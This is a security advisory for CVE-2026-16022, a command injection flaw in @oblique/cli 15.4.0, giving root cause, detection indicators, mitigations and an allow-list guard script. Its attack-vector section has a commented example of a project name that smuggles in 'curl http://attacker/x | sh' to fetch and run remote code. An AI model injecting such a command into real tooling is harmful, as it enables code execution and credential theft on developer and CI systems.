CVE-2026-16022: Oblique CLI RCE Vulnerability

CVE-2026-16022 Overview

CVE-2026-16022 is an OS command injection vulnerability in @oblique/cli version 15.4.0. The command-line interface (CLI) builds shell commands through string concatenation and passes them to Node.js execSync(). A user-controlled project-name argument flows into the command string without sanitization. Attackers can supply shell metacharacters in the project name to run arbitrary operating-system commands under the invoking user's context. The weakness is classified as [CWE-78] Improper Neutralization of Special Elements used in an OS Command.

Critical Impact
A crafted project name passed to the CLI executes arbitrary OS commands with the privileges of the developer or CI/CD process running @oblique/cli.

Affected Products

@oblique/cli 15.4.0
Node.js developer environments consuming the CLI for project scaffolding
CI/CD pipelines that invoke @oblique/cli with externally supplied arguments

Discovery Timeline

2026-08-05 - CVE-2026-16022 published to NVD
2026-08-05 - Last updated in NVD database

Technical Details for CVE-2026-16022

Vulnerability Analysis

The defect lives in the project creation flow of @oblique/cli 15.4.0. The CLI assembles a shell command by concatenating fixed strings with the user-supplied project-name argument, then invokes Node.js child_process.execSync(). execSync() spawns a shell (/bin/sh or cmd.exe) that interprets metacharacters such as ;, &&, |, backticks, and $(). Because the argument is never escaped or passed as a separate argv entry, any metacharacter in project-name breaks out of the intended token and executes as a new command.

Exploitation requires local access and user interaction: a developer must run the CLI with attacker-influenced input. Realistic delivery vectors include malicious README instructions, poisoned template documentation, or CI jobs that read a project name from an untrusted source such as a pull request title or webhook payload. Successful exploitation yields confidentiality, integrity, and availability impact at the level of the invoking account, including source theft, credential exfiltration, and supply-chain tampering of downstream artifacts.

Root Cause

The root cause is unsafe command construction. Instead of using execFile() or spawn() with an argument array, the CLI concatenates the project name directly into a shell string. See the GitHub Changelog Document for fix details.

Attack Vector

An attacker delivers a crafted project name through documentation, scripts, or automated tooling. When the developer or pipeline runs ob new "<crafted-name>", the shell interprets the injected metacharacters and executes the attacker's payload before, during, or after the legitimate scaffolding command. No prior authentication to the CLI is required, but the vulnerability is local because the attacker cannot invoke the CLI remotely without user action.

// Conceptual illustration - no verified PoC published
// The CLI performs the equivalent of:
//   execSync(`ng new ${projectName} --defaults`)
// A projectName such as:  demo; curl http://attacker/x | sh
// results in two commands executing under the developer's shell.

Detection Methods for CVE-2026-16022

Indicators of Compromise

Unexpected child processes spawned by node when running @oblique/cli, especially shells, curl, wget, nc, powershell, or package managers.
New or modified files under developer home directories, ~/.ssh, or CI runner workspaces immediately after CLI invocation.
Outbound network connections from node or sh to unrecognized hosts during project scaffolding.

Detection Strategies

Hunt endpoint telemetry for node process trees where the command line contains @oblique/cli or ob new and a child shell executes non-scaffolding commands.
Inspect CI/CD job logs for shell metacharacters (;, &&, |, `, $() inside the project-name argument.
Compare installed versions of @oblique/cli against 15.4.0 across developer workstations and build agents using software inventory data.

Monitoring Recommendations

Alert on execSync-style shell invocations that produce network egress within seconds of CLI startup.
Log and review all arguments passed to @oblique/cli in shared build environments.
Baseline expected child processes of the CLI and treat deviations as high-priority events.

How to Mitigate CVE-2026-16022

Immediate Actions Required

Upgrade @oblique/cli to a version later than 15.4.0 that addresses the command injection, as noted in the project CHANGELOG.
Audit CI/CD pipelines and remove any workflow that passes untrusted input as the project-name argument.
Rotate credentials accessible from any workstation or runner where the vulnerable CLI processed unverified project names.

Patch Information

The vendor documents the fix in the @oblique/cliGitHub Changelog Document. Consult that changelog for the exact fixed release and upgrade guidance.

Workarounds

Restrict CLI usage to trusted, interactively supplied project names until the patched version is deployed.
Validate the project-name argument against a strict allow-list such as ^[A-Za-z0-9_-]+$ before invoking the CLI from any wrapper script.
Run the CLI inside an ephemeral container or sandbox with no persistent credentials, minimizing blast radius if injection occurs.

bash

# Example allow-list guard for wrapper scripts
name="$1"
if ! [[ "$name" =~ ^[A-Za-z0-9_-]{1,64}$ ]]; then
  echo "Invalid project name" >&2
  exit 1
fi
npx @oblique/cli new "$name"